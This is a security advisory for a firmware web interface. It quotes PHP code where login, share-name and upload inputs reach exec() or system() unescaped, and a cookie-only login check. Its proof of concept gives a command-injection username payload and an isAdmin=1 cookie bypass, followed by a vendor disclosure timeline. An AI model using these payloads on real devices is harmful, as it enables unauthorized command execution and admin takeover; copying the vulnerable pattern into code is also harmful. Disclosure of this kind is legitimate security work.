I use firmware 2.11.153 which is available here.
It's possible to execute arbitrary commands using login form because exec() function is used without using escapeshellarg() or escapeshellcmd().
So we can create string which looks like this: wto -n "a" || other_command || "" -g which means that wto and other_command will be executed.
File: index.php
function do_login($username)
{
$ret = 0; //no login;
if ($username != "")
{
/* [+] Get Web Timeout setting */
$res = array();
exec("xmldbc -g /system_mgr/idle/time", $res);
$web_timeout = $res[0]*60;
/* [-] Get Web Timeout setting */
$cmd = sprintf("wto -n \"$username\" -g");
exec($cmd, $ret);
sscanf($ret[0], "timeout : %d", $timeout_val);
// I skip more output
}
}
if (do_login($_POST['username']) == 1)
{
$_SESSION['username'] = $_POST['username'];
setcookie('username', $_POST['username']);
}
There're few more places with not escaped parameters $_GET["vv_sharename"]:
File: php\chk_vv_sharename.php
$vv_sharename = $_GET['vv_sharename'];
if(empty($_GET["vv_sharename"]))
{
echo 'Parameter vv_sharename is missing.';
return;
}
$cmd = "vvctl --check_share_name -s \"$vv_sharename\" >/dev/null";
system($cmd);
Not escaped param $_POST['oldName']:
File: php\modUserName.php
$oldName = $_POST['oldName'];
$cmd = "wto -n \"$oldName\" -d ";
system($cmd,$retval);
Not escaped param $_COOKIE['username']:
File: php\upload.php
$username = $_COOKIE['username'];
exec("wto -n \"$username\" -g", $ret);
Inside lib/login_checker.php there is login_check() function which is used to check if user is logged, but it's possible to bypass this function because it simply check if $_COOKIE['username'] and $_COOKIE['isAdmin'] exist.
function login_check()
{
$ret = 0;
if (isset($_SESSION['username']))
{
if (isset($_SESSION['username']) && $_SESSION['username'] != "")
$ret = 2; //login, normal user
if ($_SESSION['isAdmin'] == 1)
$ret = 1; //login, admin
}
else if (isset($_COOKIE['username']))
{
if (isset($_COOKIE['username']) && $_COOKIE['username'] != "")
$ret = 2; //login, normal user
if ($_COOKIE['isAdmin'] == 1)
$ret = 1; //login, admin
}
return $ret;
}
Proof of Concept
For RCE simply use as username for example:
a" || your_command_to_execute || "
For bypass authentication set COOKIES:
username=1; isAdmin=1
and then visit for example php/users.php
Timeline
- 13-11-2016: Discovered
- 13-11-2016: Vendor notified
- 20-12-2016: Version 2.11.157 released
- 23-01-2017: Vendor respond that issue is fixed